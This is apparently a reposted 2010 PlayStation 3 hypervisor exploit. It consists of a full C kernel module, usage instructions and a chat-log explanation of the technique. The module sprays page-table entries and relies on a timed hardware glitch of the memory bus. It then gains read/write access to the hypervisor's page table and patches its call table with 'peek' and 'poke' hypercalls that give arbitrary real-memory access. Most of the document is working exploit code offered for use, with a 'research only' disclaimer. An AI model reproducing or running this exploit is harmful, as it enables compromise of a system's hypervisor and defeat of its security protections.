// PS3 exploit code
// c2010 geohot
// I DO NOT CONDONE PIRACY, EXPLOIT IS FOR RESEARCH USE ONLY
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/fcntl.h>
#include <asm/abs_addr.h>
#include <asm/mmu.h>
#include <asm/lmb.h>
#include <asm/io.h>
#include <asm/tlb.h>
#include <asm/lv1call.h>
#include <linux/kernel.h>
#include <linux/threads.h>
#include <linux/pci.h>
#include <linux/sysdev.h>
#include <asm/lv1call.h>
#include <asm/pci-bridge.h>
#include <asm/uaccess.h>
#include <asm/hw_irq.h>
#include <linux/proc_fs.h>
#include <linux/smp_lock.h>
#include <linux/irq.h>
void hexdump(unsigned long *d, int l) {
int i;
for(i=0;i<l;i+=4) {
printk(KERN_ERR "%16.16lx %16.16lx %16.16lx %16.16lx\n", d[i], d[i+1], d[i+2], d[i+3]);
}
}
unsigned long get_real_address_from_lpar(unsigned long add) {
unsigned long start_address, size, access_right, max_page_size, flags, gpu_ram, status, htab;
unsigned long va = 0x0001408F92C94401;
lv1_write_htab_entry(0,0,0,0);
status = lv1_query_logical_partition_address_region_info(add, &start_address, &size, &access_right, &max_page_size, &flags);
if(status != 0)
return 0xFFFFFFFFFFFFFFFF;
//lv1_query_logical_partition_address_region_info(add, &start_address, &size, &access_right, &max_page_size, &flags);
unsigned long pa = 0x0000000000000197 | start_address;
lv1_write_htab_entry(0,0,va,pa);
//lv1_write_htab_entry(0,0,va,pa);
// htab should be mapped @
htab = 0xD000080080000000;
return (((unsigned long*)0xD000080080000000)[1]>>12)&0xFFFFFFFFF;
}
#define LENGTH 0x1000000
#define COUNT 0x40
volatile unsigned long cache_clear[0x100000];
volatile int exploit_first_stage() {
unsigned long lpar, lpar2, crap, g1, glitch=0, status, i;
printk(KERN_ERR "allocate memory: %d\n", lv1_allocate_memory(0x100000, 0x14, 0, 0, &lpar, &crap));
printk(KERN_ERR "PRESS THE BUTTON IN THE MIDDLE OF THIS\n");
for(i=0;i<0x10000;i++) {
g1 = ((unsigned long*)0xD000080080000000)[i*2];
if( (g1 & 1) == 0 || (g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) {
// isn't valid or is previous crap
if(lv1_write_htab_entry(0,i,0x0000FFFF00000001|(i<<16) | ((((((i/8)^(((0x0000FFFF00000001|(i<<16))>>12) & 0x1FFF)) << 12)>>23)&0x1F)<<7) ,0x196|lpar) != 0) {
printk(KERN_ERR "bad HTAB write @ %X\n", i);
}
glitch++;
}
}
printk(KERN_ERR "added 0x%X HTAB entries\n", glitch);
volatile register unsigned long j, t1, t2, k, l;
//****************KERNEL CHILL TIME BEGIN****************
unsigned long irq, irq1, flags = 0, stack;
irq = __pa(get_irq_chip_data(20));
irq1 = __pa(get_irq_chip_data(16));
spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;
spin_lock_irqsave(&mr_lock, flags);
preempt_disable();
lock_kernel();
hard_irq_disable();
lv1_configure_irq_state_bitmap(1,0,0);
lv1_configure_irq_state_bitmap(1,1,0);
//****************KERNEL CHILL TIME BEGIN****************
// get craps in the icache
lv1_allocate_memory(0x1000, 0xC, 0, 0, &lpar2, &crap);
lv1_release_memory(lpar2);
for(j=0;j<LENGTH;j++) {
if(j==(LENGTH/2)) {
t1 = mftb();
status = lv1_release_memory(lpar);
t2 = mftb();
memset(cache_clear, 0xAA, 0x100000);
}
}
//****************KERNEL CHILL TIME END****************
lv1_configure_irq_state_bitmap(1,1,irq1);
lv1_configure_irq_state_bitmap(1,0,irq);
__hard_irq_enable();
unlock_kernel();
preempt_enable();
spin_unlock_irqrestore(&mr_lock, flags);
//****************KERNEL CHILL TIME END****************
printk(KERN_ERR "time was 0x%lx, 0x%x per, %d\n", t2-t1, (t2-t1)/glitch, status);
t1 = 0;
t2 = 0;
for(i=0;i<0x10000;i++) {
g1 = ((unsigned long*)0xD000080080000000)[i*2];
if((g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) {
t1++;
if((g1 & 1) == 1) t2++;
}
}
printk(KERN_ERR "now checking HTAB for win, %x/%x\n",t2,t1);
if(t2>0) {
printk(KERN_ERR "EXPLOIT ENTRY FOUND!!!!!\n");
return 0;
}
return -1;
}
unsigned long SLB[128];
// 64 entries in the SLB
inline int read_slb() {
unsigned long i, j;
unsigned long *entry;
for(i=0;i<64;i++) {
entry = &SLB[i*2];
__asm__ volatile("slbmfee 3, %0\n"
"std 3, 0(%1)\n"
"slbmfev 3, %0\n"
"std 3, 8(%1)\n"
:
: "r" (i), "r" (entry)
: "r3");
}
return 0;
}
// move into another virtual address space
unsigned long HTAB_0[0x20000];
unsigned long HTAB_1[0x20000];
volatile long hypercall_in_c() {
return 0x8FFFFFFEF;
}
volatile long call_hypercall_tlbia(unsigned long* r4) {
unsigned long ret;
unsigned long inr4 = *r4, outr4;
asm volatile("mr 3, %2\n"
"li 11, 16\n"
"sc 1\n"
"mr %0, 3\n"
"mr %1, 4\n"
: "=r" (ret), "=r" (outr4)
: "r" (inr4)
: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12" );
*r4 = outr4;
return ret;
}
volatile int exploit_second_stage() {
unsigned long crap, j, slb1, slb2, msr, hsprg0;
unsigned long i, g1, g2, status, raff_ptr;
unsigned long vas_id, old_vas_id;
unsigned long act_htab_size;
//2, (24<<56)|(16<<48)
printk(KERN_ERR "construct address space: %d\n", lv1_construct_virtual_address_space(20, 2, 0x1814000000000000, &vas_id, &act_htab_size));
lv1_get_virtual_address_space_id_of_ppe(0, &old_vas_id);
printk(KERN_ERR "address space is %d, old was %d\n", vas_id, old_vas_id);
if(vas_id == 0) {
printk(KERN_ERR "ADDRESS SPACE FAIL\n");
return 0;
}
read_slb();
for(i=0;i<0x40;i++) {
if((SLB[i*2]>>27)&1) {
printk(KERN_ERR "%lx %lx\n", SLB[i*2]&0xFFFFFFFFF0000000, SLB[(i*2)+1]>>12);
}
}
//hexdump(SLB, 128);
unsigned long htab_lpar;
lv1_map_htab(0, &htab_lpar);
unsigned long htab_ra = get_real_address_from_lpar(htab_lpar);
unsigned long other_htab_lpar;
lv1_map_htab(vas_id, &other_htab_lpar);
unsigned long* other_htab = __ioremap(other_htab_lpar, 0x100000, 3);
unsigned long other_htab_ra = get_real_address_from_lpar(other_htab_lpar);
printk(KERN_ERR "fix values are %lx %lx\n", other_htab_lpar, vas_id);
// add the messed up one
for(raff_ptr=0;raff_ptr<0x10000;raff_ptr++) {
g1 = ((unsigned long*)0xD000080080000000)[raff_ptr*2];
g2 = ((unsigned long*)0xD000080080000000)[(raff_ptr*2)+1];
if( ((g1&0xFFFFFFFF00000000) == 0x0000FFFF00000000) && ((g1&1)==1)) { // && (((g2&0xFFFF000)>>12) == 0x400) ) {
printk(KERN_ERR "FOUND ENTRY %16.16lx %16.16lx @ %X\n", g1, g2, raff_ptr);
break;
}
}
if(raff_ptr==0x10000) {
printk(KERN_ERR "EXPLOIT NOT FOUND\n");
goto hard_die;
}
if(other_htab_ra != ((g2&0xFFFF000)>>12) ) {
printk(KERN_ERR "BAD ADDRESS OF REGIONS HTAB\n");
goto die;
}
// add the segment
crap = 0x5000000000000000;
__asm__ volatile("slbie %0\n"
:
: "r" (crap) );
read_slb();
for(j=0;j<0x40;j++) {
if( ((SLB[j*2]>>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
//slb2 = 0x0000FFFF00000400|(raff_ptr<<16);
slb2 = 0x0000FFFF00000400|(g1&0xFFFF0000);
__asm__ volatile("slbmte %0, %1\n"
:
: "r" (slb2), "r" (slb1) );
// add the messed up PTE
unsigned long va = 0x5000000000000000;
va |= ((raff_ptr/8)^((g1>>12) & 0x1FFF)) << (((g1>>2)&1)?24:12);
printk(KERN_ERR "computed VA is %lx\n", va);
unsigned long* other_htab_rw = va;
other_htab_rw[0] = 0x0000FFFF00000001;
other_htab_rw[1] = 0x0000000000000196|(htab_ra<<12);
unsigned long count = 0, valid_count = 0;
unsigned long my_lpar;
unsigned long usb1_ra = get_real_address_from_lpar(0x4000001d0000);
unsigned long usb2_ra = get_real_address_from_lpar(0x4000001e0000);
unsigned long usb3_ra = get_real_address_from_lpar(0x4000001f0000);
unsigned long usb4_ra = get_real_address_from_lpar(0x400000200000);
printk(KERN_ERR "0x4000001d0000 -> %lx\n", usb1_ra);
printk(KERN_ERR "0x4000001e0000 -> %lx\n", usb2_ra);
printk(KERN_ERR "0x4000001f0000 -> %lx\n", usb3_ra);
printk(KERN_ERR "0x400000200000 -> %lx\n", usb4_ra);
// skip first entry, it's mine and important
for(i=1;i<0x10000;i++) {
g1 = ((unsigned long*)0xD000080080000000)[i*2];
g2 = ((unsigned long*)0xD000080080000000)[(i*2)+1];
if(g1&1) {
unsigned long va = 0xFFFFFFFFFFFFFFFF, ra;
for(j=0;j<0x40;j++) {
if((SLB[j*2]>>27)&1) {
if((SLB[(j*2)+1]>>12) == (g1>>12)) {
va = SLB[j*2]&0xFFFFFFFFF0000000;
}
}
}
if(va == 0xFFFFFFFFFFFFFFFF) {
continue;
//printk(KERN_ERR "ENTRY NOT FOUND IN SLB: %lx\n", (g1>>12));
}
valid_count++;
va |= ((i/8)^((g1>>(7+5)) & 0x1FFF)) << (((g1>>2)&1)?24:12);
ra = g2 >> 12;
my_lpar = 0xFFFFFFFFFFFFFFFF;
if( ra >= 0x1000 && ra < 0x10000) {
if( ra >= 0x8000 ) {
my_lpar = (ra-0x8000) << 12;
} else {
my_lpar = 0x6c0058000000 | ((ra-0x1000)<<12);
}
} else if( (ra&0xFFFFFFFFFFFFFF00) == htab_ra) {
my_lpar = htab_lpar + ((ra-htab_ra) << 12);
} else if( (ra&0xFFFFFFFFFFFFFF00) == other_htab_ra) {
my_lpar = other_htab_lpar + ((ra-other_htab_ra) << 12);
} else if( ra == usb4_ra ) {
my_lpar = 0x400000200000;
} else if( ra == usb3_ra ) {
my_lpar = 0x4000001f0000;
} else if( ra == usb2_ra ) {
my_lpar = 0x4000001e0000;
} else if( ra == usb1_ra ) {
my_lpar = 0x4000001d0000;
} else if( ra == 0x3e0 ) {
my_lpar = 0x4000001a0000;
} else if( ra == 0x3e1 ) {
my_lpar = 0x4000001a1000;
} else if( ra == 0x8d3 ) {
my_lpar = 0x30000000e000;
} else if( ra == 0x8dd ) {
my_lpar = 0x300000010000;
} else if( ra == 0x202 ) {
my_lpar = 0x300000012000;
} else if( ra == 0x203 ) {
my_lpar = 0x300000014000;
} else if( ra == 0x3ac ) {
my_lpar = 0x300000016000;
} else if( ra == 0x3ad ) {
my_lpar = 0x300000018000;
} else if( ra >= 0x28000080 && ra < 0x28000088 ) {
my_lpar = 0x3c0000108000 + ((ra-0x28000080)*0x1000);
}
if(my_lpar != 0xFFFFFFFFFFFFFFFF) {
if(lv1_write_htab_entry(vas_id, i, g1, (g2&0xFFF)|my_lpar) != 0) {
printk(KERN_ERR "write HTAB failed: %lx %lx\n", g1, (g2&0xFFF)|my_lpar);
} else {
count++;
}
} else {
printk(KERN_ERR "%4x: %lx %lx ... %lx -> %lx\n", i, g1, g2, va, ra);
}
if(other_htab[i*2] != g1 || other_htab[(i*2)+1] != g2) {
printk(KERN_ERR "verify failed on %X\n", i);
printk(KERN_ERR "%lx %lx -- %lx %lx\n", g1, g2, other_htab[i*2], other_htab[(i*2)+1]);
//goto home;
}
}
}
printk(KERN_ERR "wrote 0x%X/0x%X htab entries\n", count, valid_count);
hexdump(other_htab, 4);
printk(KERN_ERR "OOO R/W\n");
hexdump(other_htab_rw, 4);
// add the segment different
crap = 0x5000000000000000;
__asm__ volatile("slbie %0\n"
:
: "r" (crap) );
read_slb();
for(j=0;j<0x40;j++) {
if( ((SLB[j*2]>>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
slb2 = 0x0000FFFF00000400;
__asm__ volatile("slbmte %0, %1\n"
:
: "r" (slb2), "r" (slb1) );
printk(KERN_ERR "GOING UNDERCOVER\n");
//****************KERNEL CHILL TIME BEGIN****************
unsigned long irq, irq1, flags = 0;
irq = __pa(get_irq_chip_data(20));
irq1 = __pa(get_irq_chip_data(16));
spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;
spin_lock_irqsave(&mr_lock, flags);
preempt_disable();
lock_kernel();
hard_irq_disable();
lv1_configure_irq_state_bitmap(1,0,0);
lv1_configure_irq_state_bitmap(1,1,0);
//****************KERNEL CHILL TIME BEGIN****************
status = lv1_select_virtual_address_space(vas_id);
// OMG, CRAZY, IN OTHER SPACE
unsigned long* htab_rw = 0x5000000000000000;
// middle part is 0 cause in position 0
// add htab r/w to itself
htab_rw[2] = 0x0000FFFF00000005;
htab_rw[3] = 0x0000000000000196;
lv1_select_virtual_address_space(old_vas_id);
//****************KERNEL CHILL TIME END****************
lv1_configure_irq_state_bitmap(1,1,irq1);
lv1_configure_irq_state_bitmap(1,0,irq);
__hard_irq_enable();
unlock_kernel();
preempt_enable();
spin_unlock_irqrestore(&mr_lock, flags);
//****************KERNEL CHILL TIME END****************
printk(KERN_ERR "prease i lived?!?!?: %d\n", status);
// add the segment different again
crap = 0x5000000000000000;
__asm__ volatile("slbie %0\n"
:
: "r" (crap) );
read_slb();
for(j=0;j<0x40;j++) {
if( ((SLB[j*2]>>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
slb2 = 0x0000FFFF00000500;
__asm__ volatile("slbmte %0, %1\n"
:
: "r" (slb2), "r" (slb1) );
home:
printk(KERN_ERR "unmap other HTAB: %d\n", lv1_unmap_htab(other_htab_lpar));
printk(KERN_ERR "destruct address space: %d\n", lv1_destruct_virtual_address_space(vas_id));
hexdump(0xD000080080000000, 0x10);
return 0;
die:
printk(KERN_ERR "unmap other HTAB: %d\n", lv1_unmap_htab(other_htab_lpar));
printk(KERN_ERR "destruct address space: %d\n", lv1_destruct_virtual_address_space(vas_id));
return -1;
hard_die:
printk(KERN_ERR "unmap other HTAB: %d\n", lv1_unmap_htab(other_htab_lpar));
printk(KERN_ERR "destruct address space: %d\n", lv1_destruct_virtual_address_space(vas_id));
return -2;
}
void add_segment() {
// add the segment different again
unsigned long crap, j, slb1, slb2;
crap = 0x5000000000000000;
__asm__ volatile("slbie %0\n"
:
: "r" (crap) );
read_slb();
for(j=0;j<0x40;j++) {
if( ((SLB[j*2]>>27)&1) == 0) {
break;
}
}
// j is first SLB I can use
slb1 = 0x5000000008000000|j;
slb2 = 0x0000FFFF00000500;
__asm__ volatile("slbmte %0, %1\n"
:
: "r" (slb2), "r" (slb1) );
}
volatile long lv1_peek(unsigned long real_addr) {
unsigned long ret;
asm volatile("mr 3, %1\n"
"li 11, 16\n"
"sc 1\n"
"mr %0, 3\n"
: "=r" (ret)
: "r" (real_addr)
: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
return ret;
}
volatile long lv1_poke(unsigned long real_addr, unsigned long data) {
unsigned long ret;
asm volatile("mr 4, %2\n"
"mr 3, %1\n"
"li 11, 20\n"
"sc 1\n"
"mr %0, 3\n"
: "=r" (ret)
: "r" (real_addr), "r" (data)
: "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12");
return ret;
}
void install_hypercall() {
unsigned long lpar, crap;
hexdump(0xD000080080000000, 0x10);
if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||
*((unsigned long *)0xD000080080000018) != 0x0000000000000196) {
printk(KERN_ERR "killer entry NOT present\n");
return 0;
}
printk(KERN_ERR "allocate memory: %d\n", lv1_allocate_memory(0x1000, 0xC, 0, 0, &lpar, &crap));
unsigned long* hypercall_in_zero_page = __ioremap(lpar, 0x1000, PAGE_SHARED_X);
hypercall_in_zero_page[0] = 0xE86300004E800020;
hypercall_in_zero_page[1] = 0xF883000038600000;
hypercall_in_zero_page[2] = 0x4E80002000000000;
unsigned long real_address = get_real_address_from_lpar(lpar)<<12;
add_segment();
unsigned long* hv_call_table = 0x500000000037C598;
hv_call_table[16] = real_address;
hv_call_table[20] = real_address+0x8;
printk(KERN_ERR "calling hypercall test got %16.16lx\n", lv1_peek(0x2401FC00000));
}
volatile int init_module() {
if( *((unsigned long *)0xD000080080000010) != 0x0000FFFF00000005 ||
*((unsigned long *)0xD000080080000018) != 0x0000000000000196) {
while(exploit_first_stage() == -1);
while(exploit_second_stage() == -1);
}
install_hypercall();
return 0;
}
void cleanup_module(void) {
printk(KERN_ERR "cleanup_module() called\n");
}
!!EXPLOIT IS FOR RESEARCH PURPOSES ONLY!!
Usage Instructions:
Compile and run the kernel module.
When the "PRESS THE BUTTON IN THE MIDDLE OF THIS" comes on, pulse the line circled in the picture low for ~40ns.
Try this multiple times, I rigged an FPGA button to send the pulse.
Sometimes it kernel panics, sometimes it lv1 panics, but sometimes you get the exploit!!
If the module exits, you are now exploited.
This adds two new HV calls,
u64 lv1_peek(16)(u64 address)
void lv1_poke(20)(u64 address, u64 data)
which allow any access to real memory.
The PS3 is hacked, its your job to figure out something useful to do with it.
http://geohotps3.blogspot.com/~geohot
geohot: well actually it's pretty simple
geohot: i allocate a piece of memory
geohot: using map_htab and write_htab, you can figure out the real address of the memory
geohot: which is a big win, and something the hv shouldn't allow
geohot: i fill the htab with tons of entries pointing to that piece of memory
geohot: and since i allocated it, i can map it read/write
geohot: then, i deallocate the memory
geohot: all those entries are set to invalid
geohot: well while it's setting entries invalid, i glitch the memory control bus
geohot: the cache writeback misses the memory
geohot: and i have entries allowing r/w to a piece of memory the hypervisor thinks is deallocated
geohot: then i create a virtual segment with the htab overlapping that piece of memory i have
geohot: write an entry into the virtual segment htab allowing r/w to the main segment htab
geohot: switch to virtual segment
geohot: write to main segment htab a r/w mapping of itself
geohot: switch back
geohot: PWNED
geohot: and would work if memory were encrypted or had ECC
geohot: the way i actually glitch the memory bus is really funny
geohot: i have a button on my FPGA board
geohot: that pulses low for 40ns
geohot: i set up the htab with the tons of entries
geohot: and spam press the button
geohot: right after i send the deallocate call
¡Qué crack!
Salu2